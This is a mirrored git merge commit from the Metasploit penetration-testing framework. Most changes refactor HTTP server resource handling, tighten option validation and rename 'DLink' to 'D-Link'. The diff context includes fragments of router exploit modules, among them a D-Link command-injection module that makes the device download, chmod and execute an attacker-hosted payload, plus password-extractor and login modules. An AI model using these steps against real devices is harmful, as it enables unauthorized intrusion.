mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-10-29 18:07:27 +01:00
Merge branch 'master' of https://github.com/rapid7/metasploit-framework
This commit is contained in:
commit
47c21dfe85
@ -36,6 +36,9 @@ module Exploit::Remote::HttpServer
|
||||
], Exploit::Remote::HttpServer
|
||||
)
|
||||
|
||||
# Used to keep track of resources added to the service manager by
|
||||
# this module. see #add_resource and #cleanup
|
||||
@my_resources = []
|
||||
@service_path = nil
|
||||
end
|
||||
|
||||
@ -202,6 +205,39 @@ module Exploit::Remote::HttpServer
|
||||
add_resource(uopts)
|
||||
end
|
||||
|
||||
# Set {#on_request_uri} to handle the given +uri+ in addition to the one
|
||||
# specified by the user in URIPATH.
|
||||
#
|
||||
# @note This MUST be called from {#primer} so that the service has been set
|
||||
# up but we have not yet entered the listen/accept loop.
|
||||
#
|
||||
# @param uri [String] The resource URI that should be handled by
|
||||
# {#on_request_uri}.
|
||||
# @return [void]
|
||||
def hardcoded_uripath(uri)
|
||||
proc = Proc.new do |cli, req|
|
||||
on_request_uri(cli, req)
|
||||
end
|
||||
|
||||
vprint_status("Adding hardcoded uri #{uri}")
|
||||
begin
|
||||
add_resource({'Path' => uri, 'Proc' => proc})
|
||||
rescue RuntimeError => e
|
||||
print_error("This module requires a hardcoded uri at #{uri}. Can't run while other modules are using it.")
|
||||
raise e
|
||||
end
|
||||
end
|
||||
|
||||
# Take care of removing any resources that we created
|
||||
def cleanup
|
||||
# Must dup here because remove_resource modifies @my_resources
|
||||
@my_resources.dup.each do |resource|
|
||||
remove_resource(resource)
|
||||
end
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
#
|
||||
# Return a Hash containing a best guess at the actual browser and operating
|
||||
# system versions, based on the User-Agent header.
|
||||
@ -358,9 +394,16 @@ module Exploit::Remote::HttpServer
|
||||
# NOTE: Calling #add_resource will change the results of subsequent calls
|
||||
# to #get_resource!
|
||||
#
|
||||
# @return (see Rex::Service#add_resource)
|
||||
def add_resource(opts)
|
||||
@service_path = opts['Path']
|
||||
service.add_resource(opts['Path'], opts)
|
||||
res = service.add_resource(opts['Path'], opts)
|
||||
|
||||
# This has to go *after* the call to service.add_resource in case
|
||||
# the service manager doesn't like it for some reason and raises.
|
||||
@my_resources.push(opts['Path'])
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
#
|
||||
@ -455,7 +498,11 @@ module Exploit::Remote::HttpServer
|
||||
# Removes a URI resource.
|
||||
#
|
||||
def remove_resource(name)
|
||||
service.remove_resource(name)
|
||||
# Guard against removing resources added by other modules
|
||||
if @my_resources.include?(name)
|
||||
@my_resources.delete(name)
|
||||
service.remove_resource(name)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -173,6 +173,7 @@ class OptString < OptBase
|
||||
|
||||
def valid?(value=self.value)
|
||||
value = normalize(value)
|
||||
return false unless value.kind_of?(String) or value.kind_of?(NilClass)
|
||||
return false if empty_required_value?(value)
|
||||
return super
|
||||
end
|
||||
@ -263,6 +264,7 @@ class OptEnum < OptBase
|
||||
|
||||
def valid?(value=self.value)
|
||||
return false if empty_required_value?(value)
|
||||
return true if value.nil? and !required?
|
||||
|
||||
(value and self.enums.include?(value.to_s))
|
||||
end
|
||||
@ -330,10 +332,17 @@ class OptAddress < OptBase
|
||||
|
||||
def valid?(value)
|
||||
return false if empty_required_value?(value)
|
||||
return false unless value.kind_of?(String) or value.kind_of?(NilClass)
|
||||
|
||||
if (value != nil and value.empty? == false)
|
||||
begin
|
||||
::Rex::Socket.getaddress(value, true)
|
||||
getaddr_result = ::Rex::Socket.getaddress(value, true)
|
||||
# Covers a wierdcase where an incomplete ipv4 address will have it's
|
||||
# missing octets filled in with 0's. (e.g 192.168 become 192.0.0.168)
|
||||
# which does not feel like a legit behaviour
|
||||
if value =~ /^\d{1,3}(\.\d{1,3}){1,3}$/
|
||||
return false unless value =~ Rex::Socket::MATCH_IPV4
|
||||
end
|
||||
rescue
|
||||
return false
|
||||
end
|
||||
@ -354,6 +363,7 @@ class OptAddressRange < OptBase
|
||||
end
|
||||
|
||||
def normalize(value)
|
||||
return nil unless value.kind_of?(String)
|
||||
if (value =~ /^file:(.*)/)
|
||||
path = $1
|
||||
return false if not File.exists?(path) or File.directory?(path)
|
||||
@ -373,9 +383,12 @@ class OptAddressRange < OptBase
|
||||
|
||||
def valid?(value)
|
||||
return false if empty_required_value?(value)
|
||||
return false unless value.kind_of?(String) or value.kind_of?(NilClass)
|
||||
|
||||
if (value != nil and value.empty? == false)
|
||||
walker = Rex::Socket::RangeWalker.new(normalize(value))
|
||||
normalized = normalize(value)
|
||||
return false if normalized.nil?
|
||||
walker = Rex::Socket::RangeWalker.new(normalized)
|
||||
if (not walker or not walker.valid?)
|
||||
return false
|
||||
end
|
||||
@ -474,7 +487,7 @@ class OptRegexp < OptBase
|
||||
Regexp.compile(value)
|
||||
|
||||
return true
|
||||
rescue RegexpError
|
||||
rescue RegexpError, TypeError
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
@ -131,9 +131,11 @@ def self.open_browser(url='http://metasploit.com/')
|
||||
# Search through the PATH variable (if it exists) and chose a browser
|
||||
# We are making an assumption about the nature of "PATH" so tread lightly
|
||||
if defined? ENV['PATH']
|
||||
# "sensible-browser" opens the "default" browser in Ubuntu and others, so try that first
|
||||
# but also provide fallbacks
|
||||
['sensible-browser', 'firefox', 'opera', 'chromium-browser', 'konqueror'].each do |browser|
|
||||
# "xdg-open" is more general than "sensible-browser" and can be useful for lots of
|
||||
# file types -- text files, pcaps, or URLs. It's nearly always
|
||||
# going to use the application the user is expecting. If we're not
|
||||
# on something Debian-based, fall back to likely browsers.
|
||||
['xdg-open', 'sensible-browser', 'firefox', 'firefox-bin', 'opera', 'konqueror', 'chromium-browser'].each do |browser|
|
||||
ENV['PATH'].split(':').each do |path|
|
||||
# Does the browser exists?
|
||||
if File.exists?("#{path}/#{browser}")
|
||||
@ -143,9 +145,6 @@ def self.open_browser(url='http://metasploit.com/')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# If nothing else worked, default to firefox
|
||||
system("firefox #{url} &")
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -14,7 +14,54 @@ module Rex
|
||||
module FileUtils
|
||||
|
||||
#
|
||||
# This methods cleans the supplied path of directory traversal sequences
|
||||
# This method joins the paths together in Unix format.
|
||||
#
|
||||
def self.normalize_unix_path(*strs)
|
||||
new_str = strs * '/'
|
||||
new_str = new_str.gsub!("//", "/") while new_str.index("//")
|
||||
|
||||
new_str
|
||||
end
|
||||
|
||||
#
|
||||
# This method joins the paths together in Windows format.
|
||||
# All reserved characters will be filtered out, including:
|
||||
# " * : < > ? \ / |
|
||||
#
|
||||
def self.normalize_win_path(*strs)
|
||||
# Convert to the same format so the parsing is easier
|
||||
s = strs * '\\'
|
||||
|
||||
# Filter out double slashes
|
||||
s = s.gsub(/\\\\/, '\\') while s.index('\\\\')
|
||||
|
||||
# Keep the trailing slash if exists
|
||||
trailing_s = ('\\' if s =~ /\\$/) || ''
|
||||
|
||||
# Check the items (fie/dir) individually
|
||||
s = s.split(/\\/)
|
||||
|
||||
# Parse the path prefix
|
||||
prefix = (s[0] || '').gsub(/[\*<>\?\/]/, '')
|
||||
|
||||
# Delete the original prefix. We want the new one later.
|
||||
s.delete_at(0)
|
||||
|
||||
# Filter out all the reserved characters
|
||||
s.map! {|e| e.gsub(/["\*:<>\?\\\/|]/, '') }
|
||||
|
||||
# Put the modified prefix back
|
||||
s.insert(0, prefix)
|
||||
|
||||
# And then safely join the items
|
||||
s *= '\\'
|
||||
|
||||
# Add the trailing slash back if exists
|
||||
s << trailing_s
|
||||
end
|
||||
|
||||
#
|
||||
# This method cleans the supplied path of directory traversal sequences
|
||||
# It must accept path/with/..a/folder../starting/or/ending/in/two/dots
|
||||
# but clean ../something as well as path/with/..\traversal
|
||||
#
|
||||
|
168
lib/rex/random_identifier_generator.rb
Normal file
168
lib/rex/random_identifier_generator.rb
Normal file
@ -0,0 +1,168 @@
|
||||
|
||||
# A quick way to produce unique random strings that follow the rules of
|
||||
# identifiers, i.e., begin with a letter and contain only alphanumeric
|
||||
# characters and underscore.
|
||||
#
|
||||
# The advantage of using this class over, say, {Rex::Text.rand_text_alpha}
|
||||
# each time you need a new identifier is that it ensures you don't have
|
||||
# collisions.
|
||||
#
|
||||
# @example
|
||||
# vars = Rex::RandomIdentifierGenerator.new
|
||||
# asp_code = <<-END_CODE
|
||||
# Sub #{vars[:func]}()
|
||||
# Dim #{vars[:fso]}
|
||||
# Set #{vars[:fso]} = CreateObject("Scripting.FileSystemObject")
|
||||
# ...
|
||||
# End Sub
|
||||
# #{vars[:func]}
|
||||
# END_CODE
|
||||
#
|
||||
class Rex::RandomIdentifierGenerator
|
||||
|
||||
# Raised when a RandomIdentifierGenerator cannot create any more
|
||||
# identifiers without collisions.
|
||||
class ExhaustedSpaceError < StandardError; end
|
||||
|
||||
# Default options
|
||||
DefaultOpts = {
|
||||
# Arbitrary
|
||||
:max_length => 12,
|
||||
:min_length => 3,
|
||||
# This should be pretty universal for identifier rules
|
||||
:char_set => Rex::Text::AlphaNumeric+"_",
|
||||
:first_char_set => Rex::Text::LowerAlpha
|
||||
}
|
||||
|
||||
# @param opts [Hash] Options, see {DefaultOpts} for default values
|
||||
# @option opts :max_length [Fixnum]
|
||||
# @option opts :min_length [Fixnum]
|
||||
# @option opts :char_set [String]
|
||||
def initialize(opts={})
|
||||
# Holds all identifiers.
|
||||
@value_by_name = {}
|
||||
# Inverse of value_by_name so we can ensure uniqueness without
|
||||
# having to search through the whole list of values
|
||||
@name_by_value = {}
|
||||
|
||||
@opts = DefaultOpts.merge(opts)
|
||||
if @opts[:min_length] < 1 || @opts[:max_length] < 1 || @opts[:max_length] < @opts[:min_length]
|
||||
raise ArgumentError, "Invalid length options"
|
||||
end
|
||||
|
||||
# This is really just the maximum number of shortest names. This
|
||||
# will still be a pretty big number most of the time, so don't
|
||||
# bother calculating the real one, which will potentially be
|
||||
# expensive, since we're talking about a 36-digit decimal number to
|
||||
# represent the total possibilities for the range of 10- to
|
||||
# 20-character identifiers.
|
||||
#
|
||||
# 26 because the first char is lowercase alpha, (min_length - 1) and
|
||||
# not just min_length because it includes that first alpha char.
|
||||
@max_permutations = 26 * (@opts[:char_set].length ** (@opts[:min_length]-1))
|
||||
# The real number of permutations could be calculated thusly:
|
||||
#((@opts[:min_length]-1) .. (@opts[:max_length]-1)).reduce(0) { |a, e|
|
||||
# a + (26 * @opts[:char_set].length ** e)
|
||||
#}
|
||||
end
|
||||
|
||||
# Return a unique random identifier for +name+, generating a new one
|
||||
# if necessary.
|
||||
#
|
||||
# @param name [Symbol] A descriptive, intention-revealing name for an
|
||||
# identifier. This is what you would normally call the variable if
|
||||
# you weren't generating it.
|
||||
# @return [String]
|
||||
def get(name)
|
||||
return @value_by_name[name] if @value_by_name[name]
|
||||
|
||||
@value_by_name[name] = generate
|
||||
@name_by_value[@value_by_name[name]] = name
|
||||
|
||||
@value_by_name[name]
|
||||
end
|
||||
alias [] get
|
||||
|
||||
# Add a new identifier. Its name will be checked for uniqueness among
|
||||
# previously-generated names.
|
||||
#
|
||||
# @note This should be called *before* any calls to {#get} to avoid
|
||||
# potential collisions. If you do hit a collision, this method will
|
||||
# raise.
|
||||
#
|
||||
# @param name (see #get)
|
||||
# @param value [String] The identifier that will be returned by
|
||||
# subsequent calls to {#get} with the sane +name+.
|
||||
# @raise RuntimeError if +value+ already exists
|
||||
# @return [void]
|
||||
def store(name, value)
|
||||
|
||||
case @name_by_value[value]
|
||||
when name
|
||||
# we already have this value and it is associated with this name
|
||||
# nothing to do here
|
||||
when nil
|
||||
# don't have this value yet, so go ahead and just insert
|
||||
@value_by_name[name] = value
|
||||
@name_by_value[value] = name
|
||||
else
|
||||
# then the caller is trying to insert a duplicate
|
||||
raise RuntimeError, "Value is not unique!"
|
||||
end
|
||||
|
||||
self
|
||||
end
|
||||
|
||||
# Create a random string that satisfies most languages' requirements
|
||||
# for identifiers. In particular, with a default configuration, the
|
||||
# first character will always be lowercase alpha (unless modified by a
|
||||
# block), and the whole thing will contain only a-zA-Z0-9_ characters.
|
||||
#
|
||||
# If called with a block, the block will be given the identifier before
|
||||
# uniqueness checks. The block's return value will be the new
|
||||
# identifier. Note that the block may be called multiple times if it
|
||||
# returns a non-unique value.
|
||||
#
|
||||
# @note Calling this method with a block that returns only values that
|
||||
# this generator already contains will result in an infinite loop.
|
||||
#
|
||||
# @example
|
||||
# rig = Rex::RandomIdentifierGenerator.new
|
||||
# const = rig.generate { |val| val.capitalize }
|
||||
# rig.insert(:SOME_CONSTANT, const)
|
||||
# ruby_code = <<-EOC
|
||||
# #{rig[:SOME_CONSTANT]} = %q^generated ruby constant^
|
||||
# def #{rig[:my_method]}; ...; end
|
||||
# EOC
|
||||
#
|
||||
# @param len [Fixnum] Avoid setting this unless a specific size is
|
||||
# necessary. Default is random within range of min .. max
|
||||
# @return [String] A string that matches <tt>[a-z][a-zA-Z0-9_]*</tt>
|
||||
# @yield [String] The identifier before uniqueness checks. This allows
|
||||
# you to modify the value and still avoid collisions.
|
||||
def generate(len=nil)
|
||||
raise ArgumentError, "len must be positive integer" if len && len < 1
|
||||
raise ExhaustedSpaceError if @value_by_name.length >= @max_permutations
|
||||
|
||||
# pick a random length within the limits
|
||||
len ||= rand(@opts[:min_length] .. (@opts[:max_length]))
|
||||
|
||||
ident = ""
|
||||
|
||||
# XXX: Infinite loop if block returns only values we've already
|
||||
# generated.
|
||||
loop do
|
||||
ident = Rex::Text.rand_base(1, "", @opts[:first_char_set])
|
||||
ident << Rex::Text.rand_base(len-1, "", @opts[:char_set])
|
||||
if block_given?
|
||||
ident = yield ident
|
||||
end
|
||||
# Try to make another one if it collides with a previously
|
||||
# generated one.
|
||||
break unless @name_by_value.key?(ident)
|
||||
end
|
||||
|
||||
ident
|
||||
end
|
||||
|
||||
end
|
@ -95,9 +95,12 @@ class RangeWalker
|
||||
return false if ip_part.nil? or ip_part.empty? or mask_part.nil? or mask_part.empty?
|
||||
return false if mask_part !~ /^[0-9]{1,2}$/ # Illegal mask -- numerals only
|
||||
return false if mask_part.to_i > 32 # This too -- between 0 and 32.
|
||||
if ip_part =~ /^\d{1,3}(\.\d{1,3}){1,3}$/
|
||||
return false unless ip_part =~ Rex::Socket::MATCH_IPV4
|
||||
end
|
||||
begin
|
||||
Rex::Socket.addr_atoi(ip_part) # This allows for "www.metasploit.com/24" which is fun.
|
||||
rescue Resolv::ResolvError
|
||||
Rex::Socket.getaddress(ip_part) # This allows for "www.metasploit.com/24" which is fun.
|
||||
rescue Resolv::ResolvError, ::SocketError, Errno::ENOENT
|
||||
return false # Can't resolve the ip_part, so bail.
|
||||
end
|
||||
|
||||
|
@ -14,7 +14,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'DLink DIR 645 Password Extractor',
|
||||
'Name' => 'D-Link DIR 645 Password Extractor',
|
||||
'Description' => %q{
|
||||
This module exploits an authentication bypass vulnerability in DIR 645 < v1.03.
|
||||
With this vulnerability you are able to extract the password for the remote
|
||||
|
@ -14,9 +14,9 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'DLink DSL 320B Password Extractor',
|
||||
'Name' => 'D-Link DSL 320B Password Extractor',
|
||||
'Description' => %q{
|
||||
This module exploits an authentication bypass vulnerability in DLink DSL 320B
|
||||
This module exploits an authentication bypass vulnerability in D-Link DSL 320B
|
||||
<=v1.23. This vulnerability allows to extract the credentials for the remote
|
||||
management interface.
|
||||
},
|
||||
|
@ -18,9 +18,9 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'DLink DIR-300A / DIR-320 / DIR-615D HTTP Login Utility',
|
||||
'Name' => 'D-Link DIR-300A / DIR-320 / DIR-615D HTTP Login Utility',
|
||||
'Description' => %q{
|
||||
This module attempts to authenticate to different DLink HTTP management
|
||||
This module attempts to authenticate to different D-Link HTTP management
|
||||
services. It has been tested on D-Link DIR-300 Hardware revision A, D-Link DIR-615
|
||||
Hardware revision D and D-Link DIR-320 devices. It is possible that this module
|
||||
also works with other models.
|
||||
@ -71,9 +71,9 @@ class Metasploit3 < Msf::Auxiliary
|
||||
@uri = "/login.php"
|
||||
|
||||
if is_dlink?
|
||||
vprint_good("#{target_url} - DLink device detected")
|
||||
vprint_good("#{target_url} - D-Link device detected")
|
||||
else
|
||||
vprint_error("#{target_url} - Dlink device doesn't detected")
|
||||
vprint_error("#{target_url} - D-Link device doesn't detected")
|
||||
return
|
||||
end
|
||||
|
||||
@ -100,7 +100,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
:sname => (ssl ? 'https' : 'http'),
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:proof => "WEBAPP=\"DLink Management Interface\", PROOF=#{response.to_s}",
|
||||
:proof => "WEBAPP=\"D-Link Management Interface\", PROOF=#{response.to_s}",
|
||||
:active => true
|
||||
)
|
||||
|
||||
|
@ -18,9 +18,9 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'DLink DIR-615H HTTP Login Utility',
|
||||
'Name' => 'D-Link DIR-615H HTTP Login Utility',
|
||||
'Description' => %q{
|
||||
This module attempts to authenticate to different DLink HTTP management
|
||||
This module attempts to authenticate to different D-Link HTTP management
|
||||
services. It has been tested successfully on D-Link DIR-615 Hardware revision H
|
||||
devices. It is possible that this module also works with other models.
|
||||
},
|
||||
@ -56,9 +56,9 @@ class Metasploit3 < Msf::Auxiliary
|
||||
@uri = "/login.htm"
|
||||
|
||||
if is_dlink?
|
||||
vprint_good("#{target_url} - DLink device detected")
|
||||
vprint_good("#{target_url} - D-Link device detected")
|
||||
else
|
||||
vprint_error("#{target_url} - Dlink device doesn't detected")
|
||||
vprint_error("#{target_url} - D-Link device doesn't detected")
|
||||
return
|
||||
end
|
||||
|
||||
@ -109,7 +109,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
:sname => (ssl ? 'https' : 'http'),
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:proof => "WEBAPP=\"Dlink Management Interface\", PROOF=#{response.to_s}",
|
||||
:proof => "WEBAPP=\"D-Link Management Interface\", PROOF=#{response.to_s}",
|
||||
:active => true
|
||||
)
|
||||
|
||||
|
@ -18,9 +18,9 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'DLink DIR-300B / DIR-600B / DIR-815 / DIR-645 HTTP Login Utility',
|
||||
'Name' => 'D-Link DIR-300B / DIR-600B / DIR-815 / DIR-645 HTTP Login Utility',
|
||||
'Description' => %q{
|
||||
This module attempts to authenticate to different DLink HTTP management
|
||||
This module attempts to authenticate to different D-Link HTTP management
|
||||
services. It has been tested successfully on D-Link DIR-300 Hardware revision B,
|
||||
D-Link DIR-600 Hardware revision B, D-Link DIR-815 Hardware revision A and DIR-645
|
||||
Hardware revision A devices.It is possible that this module also works with other
|
||||
@ -72,9 +72,9 @@ class Metasploit3 < Msf::Auxiliary
|
||||
@uri = "/session.cgi"
|
||||
|
||||
if is_dlink?
|
||||
vprint_good("#{target_url} - DLink device detected")
|
||||
vprint_good("#{target_url} - D-Link device detected")
|
||||
else
|
||||
vprint_error("#{target_url} - Dlink device doesn't detected")
|
||||
vprint_error("#{target_url} - D-Link device doesn't detected")
|
||||
return
|
||||
end
|
||||
|
||||
@ -101,7 +101,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
:sname => (ssl ? 'https' : 'http'),
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:proof => "WEBAPP=\"Dlink Management Interface\", PROOF=#{response.to_s}",
|
||||
:proof => "WEBAPP=\"D-Link Management Interface\", PROOF=#{response.to_s}",
|
||||
:active => true
|
||||
)
|
||||
|
||||
|
@ -17,12 +17,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'DLink DIR-645 / DIR-815 diagnostic.php Command Execution',
|
||||
'Name' => 'D-Link DIR-645 / DIR-815 diagnostic.php Command Execution',
|
||||
'Description' => %q{
|
||||
Some DLink Routers are vulnerable to OS Command injection in the web interface.
|
||||
Some D-Link Routers are vulnerable to OS Command injection in the web interface.
|
||||
On DIR-645 versions prior 1.03 authentication isn't needed to exploit it. On
|
||||
version 1.03 authentication is needed in order to trigger the vulnerability, which
|
||||
has been fixed definitely on version 1.04. Other DLink products, like DIR-300 rev B
|
||||
has been fixed definitely on version 1.04. Other D-Link products, like DIR-300 rev B
|
||||
and DIR-600, are also affected by this vulnerability. Not every device includes
|
||||
wget which we need for deploying our payload. On such devices you could use the cmd
|
||||
generic payload and try to start telnetd or execute other commands. Since it is a
|
||||
@ -155,7 +155,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
#
|
||||
# download payload
|
||||
#
|
||||
print_status("#{rhost}:#{rport} - Asking the DLink device to download #{service_url}")
|
||||
print_status("#{rhost}:#{rport} - Asking the D-Link device to download #{service_url}")
|
||||
#this filename is used to store the payload on the device
|
||||
filename = rand_text_alpha_lower(8)
|
||||
|
||||
@ -168,7 +168,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
# wait for payload download
|
||||
if (datastore['DOWNHOST'])
|
||||
print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the DLink device to download the payload")
|
||||
print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the D-Link device to download the payload")
|
||||
select(nil, nil, nil, datastore['HTTP_DELAY'])
|
||||
else
|
||||
wait_linux_payload
|
||||
@ -179,7 +179,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
# chmod
|
||||
#
|
||||
cmd = "chmod 777 /tmp/#{filename}"
|
||||
print_status("#{rhost}:#{rport} - Asking the DLink device to chmod #{downfile}")
|
||||
print_status("#{rhost}:#{rport} - Asking the D-Link device to chmod #{downfile}")
|
||||
res = request(cmd,uri)
|
||||
if (!res)
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
||||
@ -189,7 +189,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
# execute
|
||||
#
|
||||
cmd = "/tmp/#{filename}"
|
||||
print_status("#{rhost}:#{rport} - Asking the DLink device to execute #{downfile}")
|
||||
print_status("#{rhost}:#{rport} - Asking the D-Link device to execute #{downfile}")
|
||||
res = request(cmd,uri)
|
||||
if (!res)
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
||||
|
@ -212,7 +212,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
#
|
||||
# download payload
|
||||
#
|
||||
print_status("#{rhost}:#{rport} - Asking the DLink device to take and execute #{service_url}")
|
||||
print_status("#{rhost}:#{rport} - Asking the D-Link device to take and execute #{service_url}")
|
||||
#this filename is used to store the payload on the device
|
||||
filename = rand_text_alpha_lower(8)
|
||||
|
||||
@ -225,7 +225,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
# wait for payload download
|
||||
if (datastore['DOWNHOST'])
|
||||
print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the DLink device to download the payload")
|
||||
print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the D-Link device to download the payload")
|
||||
select(nil, nil, nil, datastore['HTTP_DELAY'])
|
||||
else
|
||||
wait_linux_payload
|
||||
|
@ -170,18 +170,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
end
|
||||
end
|
||||
|
||||
def primer
|
||||
# "/test.mp4" is currently hard-coded in the swf file, so we need to add to resource
|
||||
hardcoded_uripath("/test.mp4")
|
||||
end
|
||||
|
||||
def exploit
|
||||
@swf = create_swf
|
||||
super
|
||||
|
||||
#
|
||||
# "/test.mp4" is currently hard-coded in the swf file, so we need to add to resource
|
||||
#
|
||||
proc = Proc.new do |cli, req|
|
||||
self.add_resource({'Path' => "/test.mp4", 'Proc' => proc}) rescue nil
|
||||
on_request_uri(cli, req)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
@ -275,12 +271,6 @@ pluginspage="http://www.macromedia.com/go/getflashplayer">
|
||||
send_response(cli, html, {'Content-Type'=>'text/html'})
|
||||
end
|
||||
|
||||
def cleanup
|
||||
print_status("Removing mp4 resource")
|
||||
remove_resource('/test.mp4') rescue nil
|
||||
super
|
||||
end
|
||||
|
||||
def create_swf
|
||||
path = ::File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-0754.swf" )
|
||||
fd = ::File.open( path, "rb" )
|
||||
|
@ -204,16 +204,15 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
html = html.gsub(/^\t\t/, '')
|
||||
|
||||
# we need to handle direct /pay.txt requests
|
||||
proc = Proc.new do |cli, req|
|
||||
on_request_uri(cli, req)
|
||||
end
|
||||
add_resource({'Path' => "/#{@resource_name}.txt", 'Proc' => proc}) rescue nil
|
||||
|
||||
print_status("Sending HTML")
|
||||
send_response(cli, html, {'Content-Type'=>'text/html'})
|
||||
end
|
||||
|
||||
def primer
|
||||
# we need to handle direct /pay.txt requests
|
||||
hardcoded_uripath("/#{@resource_name}.txt")
|
||||
end
|
||||
|
||||
def exploit
|
||||
@swf = create_swf
|
||||
@resource_name = Rex::Text.rand_text_alpha(5)
|
||||
@ -235,10 +234,4 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
return swf
|
||||
end
|
||||
|
||||
def cleanup
|
||||
vprint_status("Removing txt resource")
|
||||
remove_resource("/#{@resource_name}.txt") rescue nil
|
||||
super
|
||||
end
|
||||
|
||||
end
|
||||
|
@ -60,6 +60,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def primer
|
||||
hardcoded_uripath("/epaq")
|
||||
end
|
||||
|
||||
def exploit
|
||||
@ocx = ::File.read(::File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2011-2882', 'nsepa.ocx'))
|
||||
super
|
||||
@ -184,12 +188,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
html = html.gsub(/^\t\t/, '')
|
||||
|
||||
# we need to handle direct /epaq requests
|
||||
proc = Proc.new do |cli, req|
|
||||
on_request_uri(cli, req)
|
||||
end
|
||||
|
||||
add_resource({'Path' => "/epaq", 'Proc' => proc}) rescue nil
|
||||
print_status("Sending #{self.name} HTML")
|
||||
send_response(cli, html, { 'Content-Type' => 'text/html' })
|
||||
end
|
||||
|
@ -55,6 +55,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def primer
|
||||
hardcoded_uripath("/SystemDisplays/RemoteInstallWelcome.hta")
|
||||
end
|
||||
|
||||
def exploit
|
||||
@var_exename = rand_text_alpha(5 + rand(5)) + ".exe"
|
||||
@dropped_files = [
|
||||
@ -198,13 +202,6 @@ SetLocale(#{var_origLoc})|)
|
||||
</html>
|
||||
EOS
|
||||
|
||||
# we need to handle direct /SystemDisplays/RemoteInstallWelcome.hta requests
|
||||
proc = Proc.new do |cli, req|
|
||||
on_request_uri(cli, req)
|
||||
end
|
||||
|
||||
add_resource({'Path' => "/SystemDisplays/RemoteInstallWelcome.hta", 'Proc' => proc}) rescue nil
|
||||
|
||||
print_status("Sending html")
|
||||
send_response(cli, html, {'Content-Type'=>'text/html'})
|
||||
|
||||
|
14
msfcli
14
msfcli
@ -16,15 +16,7 @@ while File.symlink?(msfbase)
|
||||
end
|
||||
|
||||
$:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib')))
|
||||
require 'fastlib'
|
||||
require 'msfenv'
|
||||
|
||||
|
||||
$:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB']
|
||||
|
||||
require 'rex'
|
||||
require 'msf/ui'
|
||||
require 'msf/base'
|
||||
|
||||
Indent = ' '
|
||||
|
||||
@ -61,6 +53,12 @@ module_class = "exploit"
|
||||
|
||||
if(exploit_name == "-h")
|
||||
usage()
|
||||
else
|
||||
$:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB']
|
||||
require 'fastlib'
|
||||
require 'msfenv'
|
||||
require 'msf/ui'
|
||||
require 'msf/base'
|
||||
end
|
||||
|
||||
# Initialize the simplified framework instance.
|
||||
|
5
spec/file_fixtures/short_address_list.txt
Normal file
5
spec/file_fixtures/short_address_list.txt
Normal file
@ -0,0 +1,5 @@
|
||||
192.168.1.1
|
||||
192.168.1.2
|
||||
192.168.1.3
|
||||
192.168.1.4
|
||||
192.168.1.5
|
3
spec/file_fixtures/string_list.txt
Normal file
3
spec/file_fixtures/string_list.txt
Normal file
@ -0,0 +1,3 @@
|
||||
foo
|
||||
bar
|
||||
baz
|
89
spec/lib/msf/core/exploit/http/server_spec.rb
Normal file
89
spec/lib/msf/core/exploit/http/server_spec.rb
Normal file
@ -0,0 +1,89 @@
|
||||
|
||||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/http/server'
|
||||
|
||||
describe Msf::Exploit::Remote::HttpServer do
|
||||
subject(:server_module) do
|
||||
mod = Msf::Exploit.allocate
|
||||
mod.extend described_class
|
||||
mod.send(:initialize, {})
|
||||
|
||||
mod
|
||||
end
|
||||
|
||||
let(:mock_service) do
|
